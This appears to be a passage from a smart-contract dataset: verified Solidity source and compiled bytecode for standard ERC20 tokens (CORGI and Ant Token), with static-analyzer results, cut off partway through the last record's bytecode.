7f8361134a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118b4576118b3611676565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006118f98261134a565b91506119048361134a565b925082611914576119136118bf565b5b828204905092915050565b600061192a8261134a565b91506119358361134a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561196e5761196d611676565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506119e68161131e565b92915050565b600060208284031215611a0257611a016112e7565b5b6000611a10848285016119d7565b91505092915050565b6000819050919050565b6000611a3e611a39611a3484611a19565b61150a565b61134a565b9050919050565b611a4e81611a23565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a898161130c565b82525050565b6000611a9b8383611a80565b60208301905092915050565b6000602082019050919050565b6000611abf82611a54565b611ac98185611a5f565b9350611ad483611a70565b8060005b83811015611b05578151611aec8882611a8f565b9750611af783611aa7565b925050600181019050611ad8565b5085935050505092915050565b600060a082019050611b2760008301886113f6565b611b346020830187611a45565b8181036040830152611b468186611ab4565b9050611b556060830185611473565b611b6260808301846113f6565b969550505050505056fea2646970667358221220354ec0a23a1317829316bb668a5063f3f0d4bec702d6a4268cc2c3d5953b4e3b64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 3,385 |
0x1e44b8dd22af665d3a8e6d1f03968f8f1fffd41c
|
/**
*Submitted for verification at Etherscan.io on 2021-02-28
*/
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'CORGI' token contract
//
// Symbol : CORGI
// Name : CORGI
// Total supply: 413 000 000
// Decimals : 9
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract CORGI is BurnableToken {
string public constant name = "CORGI";
string public constant symbol = "CORGI";
uint public constant decimals = 9;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 413000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280600581526020017f434f52474900000000000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600981565b6009600a0a63189de1400281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600581526020017f434f52474900000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea2646970667358221220d2f8235a8c8516ced8df7b5aeefb99fdce1c38868c9a2ecda56ff2d3cfeacc0664736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 3,386 |
0xadf1bb0286018cca396980e1adee2920b58244e6
|
pragma solidity ^0.4.21;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract TFTOKEN is StandardToken, Ownable {
// Constants
string public constant name = "Ant Token";
string public constant symbol = "ANT";
uint8 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 21000000 * (10 ** uint256(decimals));
mapping(address => bool) touched;
function TFTOKEN() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc5780632ff2e9dc14610275578063313ce5671461029e5780635f56b6fe146102cd57806366188463146102f057806370a082311461034a578063715018a6146103975780638da5cb5b146103ac57806395d89b4114610401578063a9059cbb1461048f578063d73dd623146104e9578063dd62ed3e14610543578063f2fde38b146105af575b600080fd5b34156100f657600080fd5b6100fe6105e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610621565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610713565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061071d565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610ad7565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102b1610ae8565b604051808260ff1660ff16815260200191505060405180910390f35b34156102d857600080fd5b6102ee6004808035906020019091905050610aed565b005b34156102fb57600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c36565b604051808215151515815260200191505060405180910390f35b341561035557600080fd5b610381600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b6040518082815260200191505060405180910390f35b34156103a257600080fd5b6103aa610f0f565b005b34156103b757600080fd5b6103bf611014565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040c57600080fd5b61041461103a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610454578082015181840152602081019050610439565b50505050905090810190601f1680156104815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049a57600080fd5b6104cf600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611073565b604051808215151515815260200191505060405180910390f35b34156104f457600080fd5b610529600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611292565b604051808215151515815260200191505060405180910390f35b341561054e57600080fd5b610599600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061148e565b6040518082815260200191505060405180910390f35b34156105ba57600080fd5b6105e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611515565b005b6040805190810160405280600981526020017f416e7420546f6b656e000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561075a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107a757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561083257600080fd5b610883826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610916826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405